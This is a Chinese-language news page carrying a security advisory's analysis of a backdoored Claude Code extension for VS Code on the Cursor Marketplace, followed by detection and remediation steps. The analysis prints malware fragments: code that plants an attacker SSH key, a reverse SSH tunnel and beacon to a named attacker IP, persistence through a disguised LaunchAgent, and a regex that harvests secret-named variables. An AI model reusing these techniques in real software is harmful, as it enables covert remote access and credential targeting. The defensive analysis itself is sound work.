Cursor Marketplace 上的 Claude Code for VS Code 扩展中发现后门

Hacker News Top 新闻

摘要

Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展(v2.1.313)中检测到一个后门,该后门会在 macOS、Linux 和 Windows 上安装持久化 SSH 后门并植入攻击者 SSH 密钥。Cursor 已下架该版本,建议相关组织立即对受影响的环境进行审计。

<a href="https:&#x2F;&#x2F;cursor.com&#x2F;blog&#x2F;claude-code-extension-security-notice" rel="nofollow">https:&#x2F;&#x2F;cursor.com&#x2F;blog&#x2F;claude-code-extension-security-notic...</a><p><a href="https:&#x2F;&#x2F;cyberplace.social&#x2F;@GossiTheDog&#x2F;117528831681803563" rel="nofollow">https:&#x2F;&#x2F;cyberplace.social&#x2F;@GossiTheDog&#x2F;117528831681803563</a><p><a href="https:&#x2F;&#x2F;doublepulsar.com&#x2F;anthropic-hacked-to-deliver-remote-access-trojan-to-claude-developer-laptops-worldwide-1148a92baae2" rel="nofollow">https:&#x2F;&#x2F;doublepulsar.com&#x2F;anthropic-hacked-to-deliver-remote-...</a>
查看原文
查看缓存全文

缓存时间: 2026/10/30 15:15

# 官方 Claude Code 扩展遭入侵:安全公告 来源:https://phorion.io/blog/offical-claude-code-vsx-compromise/ ## 概述 Phorion 在 Cursor Marketplace 上的官方 **Claude Code for VS Code** 扩展包中检测到一个后门程序。该后门会在 macOS、Linux 和 Windows 上投放一个持久化 SSH 后门。本文将重点分析 macOS 平台上的行为——在该平台上,扩展试图配置 SSH 后门并建立持久化。各组织应立即排查环境中是否使用了 Claude Code for VSCode `2.1.313` 版本,并在发现使用该扩展时启动事件响应流程。 Phorion 发现 Cursor Marketplace 上的官方 **Claude Code for VS Code** 扩展被入侵,被植入后门的扩展包中含有一个持久化的 Secure Shell(SSH)后门。Cursor 已从其 Marketplace 中删除了相关版本,并从各自注册表中下架了 `2.1.313` 版本的 NPM 和 VSCode 包。 虽然该植入程序包含针对 **macOS、Linux 和 Windows** 的安装与持久化逻辑,但本文将重点分析 **macOS** 平台,同时指出其他平台上的一些关键差异和实现缺陷。 Cursor Marketplace 为 Cursor 编辑器提供扩展服务。由于扩展以 IDE 及运行它的用户的权限运行,被植入后门的扩展在模块加载的瞬间即可获得对本地文件、源代码和开发者工具的完整访问权限。 值得注意的是,Phorion 发现恶意软件在启用 SSH 时存在一个可能的疏忽。安装逻辑假设它可以在没有 root 权限的情况下检查当前远程登录状态。当以标准用户身份运行时,`systemsetup -getremotelogin` 会打印管理员访问权限错误,并以状态码 `0` 退出,而不是返回 `Off`。由于脚本仅在输出匹配 `Off` 时才尝试启用 SSH,因此会完全跳过启用步骤。 在一台 SSH 尚未运行的 Mac 上,这个错误会阻断入站访问路径,尽管 SSH 密钥和持久化机制仍然会被投放。 本文将详细分析该后门的工作原理、macOS 上检查失败的原因,以及在你的终端设备中应关注哪些指标。 该载荷的目的是获取长期交互式访问,尽管 SSH 后门的缺陷降低了其在 macOS 上的影响,但该恶意软件仍然是一个严重的威胁——它安装持久化机制,并将主机侦察信息回报给操作者。 ## 感染链 ### Cursor Marketplace 扩展 被入侵的 `extension.js` 文件在压缩混淆的扩展包前端插入了一个立即执行函数表达式(IIFE)。扩展包的其余部分看起来与标准扩展一致,包含 Claude Code 和 VS Code 字符串、正常的 `activate` 和 `deactivate` 导出以及 UI 代码。 注入的前缀代码引入了标准的 Node.js 模块(`child_process`、`fs`、`os`、`path`、`http` 和 `crypto`),并在 Node 加载文件时立即执行——甚至在扩展的正常 `activate` 回调运行之前就已经触发。用户无需与扩展进行任何交互即可触发载荷。 ### 阶段一——准备 SSH 访问 首先,载荷确保 `~/.ssh` 目录存在,然后将攻击者控制的 Ed25519 公钥追加到 `~/.ssh/authorized_keys` 中,并将目录权限设为 `0700`、文件权限设为 `0600`。该密钥使用注释 `svc-telemetry`。 在追加之前,脚本检查文件中是否已存在 `svc-telemetry` 字符串,而不是检查密钥本身。在排查此类活动时,建议通过公钥指纹进行检测,而非仅依赖注释字符串。 ```javascript var sd = path.join(HOME, ".ssh"), ak = path.join(sd, "authorized_keys"); // ... if (cur.indexOf("svc-telemetry") < 0) { fs.appendFileSync(ak, PUB + "\n"); d.sshKey = "added" } else { d.sshKey = "present" } ``` 其中 `cur` 存储 `authorized_keys` 的现有内容,`PUB` 是嵌入的攻击者公钥(此处已隐去)。 密钥就位后,任何持有对应私钥的人都可以以该用户身份进行认证——前提是 SSH 实际上正在运行。 脚本的下一步尝试确保本地 SSH 守护进程已启用并监听: - **Linux:** 尝试通过 `systemctl` 启用并启动 `sshd` 或 `ssh`,回退使用 `service` 和 `/etc/init.d/`。 - **macOS:** 检查远程登录状态,如果报告为 `Off`,则尝试通过 `sudo -n systemsetup -setremotelogin on` 启用。 - **Windows:** 尝试使用 PowerShell 安装并启动 OpenSSH Server。 这些步骤均不包含提权漏洞利用。非交互式 `sudo -n` 将失败,除非用户已有缓存或配置了免密码 sudo。因此,从标准用户上下文启动系统服务并不总能成功。 看起来 Windows 代码路径也存在自身缺陷:它通过一个硬编码了 `/bin/sh` 的辅助函数(`det()`)来传递 PowerShell 服务安装命令,这在标准 Windows 安装上无法正常运行。 ### macOS SSH 逻辑中的缺陷? 在 macOS 上,安装逻辑甚至在执行 `sudo` 命令之前就可能遇到问题。脚本在未提升权限的情况下运行 `systemsetup -getremotelogin`,然后用 `/Off/i` 测试输出。它仅在输出包含 `Off` 时才尝试启用远程登录: ```javascript // ... else if (PLAT === "darwin") { var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000); d.remoteLogin = rl; if (/Off/i.test(rl)) { det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1"); d.remoteLoginOn = "tried" } } ``` 注意第二条命令(`-setremotelogin on`)使用了 `sudo -n`,而第一条命令(`-getremotelogin`)没有使用。 当在 macOS 上以标准用户身份运行 `systemsetup -getremotelogin` 时,得到的是: ``` You need administrator access to run this tool... exiting! ``` `systemsetup` 拒绝在没有管理员权限的情况下读取该设置,将错误信息输出到标准输出,并以状态码 `0` 退出。 恶意软件的 `ex()` 辅助函数获取标准输出并返回: ```javascript function ex(c, t) { try { return cp.execSync(c, { timeout: t || 3000, stdio: ["ignore", "pipe", "ignore"], windowsHide: true }).toString().trim() } catch (e) { return "" } } ``` 由于输出为 `"You need administrator access to run this tool... exiting!"`,`/Off/i.test(rl)` 的结果为 `false`。因此,脚本跳过了 `if` 块,永远不会运行 `sudo -n systemsetup -setremotelogin on`。 它实际上将"我没有权限检查 SSH 是否关闭"视为"SSH 已经开启",这也解释了为什么在扩展以普通用户身份运行时,进程遥测中看不到启用尝试。 > **该缺陷可能破坏访问链的最终步骤。**如果 Mac 上尚未启用远程登录,出站隧道虽然可以连接到攻击者的服务器,但通过隧道转发回来的流量将被阻止在 localhost 上关闭的 22 端口。当然,这不应被当作防御手段。如果用户已经启用了远程登录,或者后来启用了,后门随时可以运作。 ### 阶段二——建立反向 SSH 隧道 接下来,脚本以 `tunnel` 用户身份通过 22 端口建立到 `134.209.82[.]225` 的出站 SSH 连接。为了向攻击者的服务器进行认证,它解码了另一个嵌入的私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 `svc-telemetry-tun`。 在调查过程中需要注意区分两个密钥: - 添加到 `~/.ssh/authorized_keys` 的公钥(`svc-telemetry`)让攻击者能够登录受害者的机器。 - 嵌入的私钥(`svc-telemetry-tun`)让受害者的机器能够连接到攻击者的隧道服务器。 脚本将该隧道密钥写入操作系统临时目录,文件名以 `.stk_` 开头,后跟主机名和主目录路径 MD5 哈希的前十个字符: ```javascript var kf = path.join( TMP, ".stk_" + crypto.createHash("md5") .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10) ); // ... var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'"; ``` 隧道使用 `-R *:0:localhost:22` 进行远程端口转发。传入 `0` 让攻击者的 SSH 服务器动态分配一个监听端口,并将到达该端口的任何流量通过隧道转发到受害者机器的 `localhost:22`: ``` 受影响主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器 操作者 -- 独立连接 --> 服务器上分配的端口 | 通过现有隧道 v 受影响主机的 SSH:22 使用植入的密钥登录 ``` 由于隧道使用 `-N` 运行,它仅保持端口转发的开启状态,不在远程服务器上执行命令。 当操作者想要访问该机器时,他们通过服务器上分配的端口启动一个独立的 SSH 会话,使用阶段一植入的密钥对受害者本地 SSH 守护进程进行认证。这为他们提供了完整的交互式 Shell 和文件传输能力,无需在 JavaScript 本身中实现任何自定义 C2 命令处理。 SSH 命令还传递了一些标志以保持连接安静且非交互式:禁用主机密钥检查,忽略 `known_hosts`,启用 `BatchMode` 和 `IdentitiesOnly`,keepalive 设置为 30 秒(`ServerAliveCountMax=3`),并启用 `ExitOnForwardFailure`。 如果系统中安装了 `autossh`,脚本会使用它;否则回退到标准的 `ssh`。脚本将连接包裹在一个分离的重试循环中,每次尝试之间休眠 60 秒,在 Unix 系统上使用 `pgrep` 避免启动重复的初始隧道。由于循环是分离的,隧道在用户关闭 IDE 后仍然保持运行。 ### 阶段三——保持访问可用 为了在重启后存活,脚本在初始分离隧道之外还设置了平台特定的持久化机制: | 平台 | 产物 | 持久化机制 | 备注 | |------|------|-----------|------| | Linux | `~/.config/.smt`、`~/.config/.smtk` | 写入一个重建隧道密钥并循环运行 SSH 连接的 shell 脚本,然后向用户 crontab 添加 `@reboot` 条目。 | crontab 检查中存在缺陷,重复运行时可能清除现有的用户 cron 任务(详见下文)。 | | macOS | `~/.config/.smt`、`~/.config/.smtk`、`~/Library/LaunchAgents/com.apple.sysmond.plist` | 写入一个用户 LaunchAgent,配置 `RunAtLoad` 和 `KeepAlive` 均为 `true` 来运行 `/bin/sh ~/.config/.smt`,然后通过 `launchctl` 加载。 | 以用户上下文运行,而非 root LaunchDaemon。 | | Windows | `~/.config/smt.cmd`、`~/.config/smtk`、`%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd` | 尝试创建名为 `SysMon` 的计划任务,以 `SYSTEM` 身份在启动时运行。如果失败,则将 `sysmon.cmd` 投放到用户的启动文件夹。 | 创建 `SYSTEM` 任务需要管理员权限;启动文件夹回退方案在用户登录时以用户身份运行。 | 在 macOS 和 Linux 上,`~/.config/.smt` 脚本中嵌入了隧道私钥,并在启动重连循环之前将其写出到 `~/.config/.smtk`。 在 macOS 上,LaunchAgent 以 `com.apple.sysmond.plist` 的名义伪装在 `~/Library/LaunchAgents/` 目录中: ``` Label com.apple.sysmond RunAtLoad true KeepAlive true ``` ### 阶段四——主机侦察 最后,脚本收集基础的主机侦察信息,并向攻击者的服务器发送一次性信标回报: - 主机名、用户名、操作系统平台和架构 - 主目录、当前工作目录和全局 Git 邮箱(`git config --global user.email`) - 公网 IP 地址和各安装阶段的状态标志(例如 SSH 密钥是否已添加、哪种持久化方式已运行) - 最多 40 个匹配 `/KEY|TOKEN|SECRET|PASS|AWS|GCP/i` 的环境变量**名称**(而非值) 环境变量检查使用 `Object.keys(process.env)`: ```javascript Object.keys(process.env) .filter(function(k) { return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k) }) .slice(0, 40) ``` 由于仅获取变量名称,信标不会窃取密钥值本身。相反,它为操作者提供了机器上存在的云凭证或 API 令牌的快速清单,以便他们确定优先攻击的目标主机。 为了获取机器的公网 IP,脚本查询 `ifconfig[.]me`,回退到 `api[.]ipify[.]org`。 然后,它通过明文 HTTP POST 请求将 JSON 报告发送到 `134.209.82[.]225:8099` 和 `127.0.0.1:8099` 的 `/beacon` 路径: ```javascript var r = http.request({ host: h, port: p, path: "/beacon", method: "POST", timeout: 3000, headers: {"content-type": "application/json"} }, function(res) { res.resume() }); // ... r.write(JSON.stringify(d)); r.end() ``` 从样本中无法确定为何还要向 `127.0.0.1:8099` 发送一份信标副本——脚本本身并未在该端口上设置本地监听器。 信标使用 `setTimeout` 进行一次性调度(初始安装运行后 1.5 秒),并通过 `res.resume()` 丢弃所有 HTTP 响应。它纯粹是一个签到通知,让操作者知道主机已就绪,而实际的访问则由 SSH 隧道处理。 ## 检测要点 从检测角度来看,使用端点安全框架(Endpoint Security Framework,ESF)遥测数据,在 macOS 上感染链中有几个行为值得关注。 ### SSH 密钥和配置变更 由于恶意软件直接使用 Node 的 `fs.appendFileSync` 向 `~/.ssh/authorized_keys` 追加内容,仅监控 shell 命令(如 `echo` 或 `tee`)触碰 `authorized_keys` 的纯进程规则无法捕获该行为。 这就是文件修改遥测数据至关重要的地方:监控 IDE 辅助进程(`Code Helper`、`Cursor Helper` 等)创建或写入 `~/.ssh/authorized_keys` 的行为。虽然 IDE 二进制文件本身具有有效签名,但其扩展宿主进程没有理由在后台修改 SSH 认证文件。 虽然你也应监控 `systemsetup -setremotelogin on` 命令,但不应将其作为此攻击活动告警的必要条件。如上所述,macOS 上损坏的状态检查意味着该命令通常根本不会执行。 ### 用户 LaunchAgent 持久化 macOS 上的持久化设置为我们提供了几个有力的检测信号: - 非 Apple 进程写入带有 `com.apple.*` 标签的 plist 文件(`~/Library/LaunchAgents/com.apple.sysmond.plist`)。 - LaunchAgent 配置为对用户主目录中的隐藏脚本(`~/.config/.smt`)执行 `/bin/sh`。 由于初始隧道作为分离进程生成,`launchd` 之后直接管理 `.smt`,后续的 `ssh` 进程在实时进程树中不会以 IDE 作为其直接父进程。 将 `.smt` 和 `com.apple.sysmond.plist` 的文件创建事件与 IDE 扩展宿主进行关联,可以更轻松地还原完整的感染链。 ### SSH 隧道和后续访问 在进程和网络层面,应查找以下行为: - 启用了远程端口转发(`-R *:0:localhost:22`)且身份文件来自 `/tmp/.stk_*` 或 `~/.config/.smtk` 的 `ssh` 或 `autossh` 进程。 - 到 `134.209.82[.]225` 22 端口的出站 SSH 连接,以及到 `134.209.82[.]225:8099` 的 HTTP POST 请求(以及对 `127.0.0.1:8099` 的连接尝试)。 如果发现某台主机上运行过该扩展,重要的是确认隧道是仅仅被建立,还是已经有操作者通过隧道实际登录过。由于入站会话通过本地端口转发到达,SSH 日志中的成功登录会显示来自 `localhost`(`127.0.0.1` 或 `::1`),并使用 `svc-telemetry` 密钥进行认证。 ### 修复措施 如果你确认存在受影响的机器,**仅卸载扩展无法清除后门**。确保你的响应涵盖它投放的所有阶段: 1. **终止活动隧道进程:** 终止 `/bin/sh` 重试循环以及任何连接到 `134.209.82[.]225` 的 `ssh` 或 `autossh` 进程。 2. **移除持久化:** 在 macOS 上卸载并删除 `~/Library/LaunchAgents/com.apple.sysmond.plist`(或在 Linux 上清理 `@reboot` cron 条目,在 Windows 上清理 `SysMon` 计划任务和启动脚本)。 3. **删除密钥和脚本文件:** 从 `~/.ssh/authorized_keys` 中移除 `svc-telemetry` 公钥,删除临时目录中的 `.stk_*` 文件,并清理 `~/.config/.smt`、`~/.config/.smtk`(Linux/macOS)或 `~/.config/smt.cmd`、`~/.config/smtk`(Windows)。 4. **更换凭证:** 考虑轮换受影响机器上用户可用的所有 SSH 密钥和相关凭证,因为攻击者可能已经在你采取行动之前获取了它们。

相似文章

Cursor 上的 Anthropic VS Code 扩展被植入后门近 12 小时

Ars Technica

Anthropic 的官方 Claude Code VS Code 扩展在 Cursor 市场被植入后门近 12 小时,恶意版本 2.1.313 通过官方账户分发,最多影响约 5,000 名开发者,可安装持久化 SSH 后门并访问本地文件与源代码。Anthropic 至今未向客户发布公开通知。

@charliermarsh:有人核实过这个扩展是否通过了 OpenVSX 吗?

X AI KOLs Following

一名恶意行为者利用对 Cursor 扩展市场的访问权限,发布了一个遭到篡改的 Claude Code 扩展副本,引发了人们对该扩展是否通过 OpenVSX 分发的疑问。Anthropic 澄清,此次事件并未危及其自身系统或员工的笔记本电脑。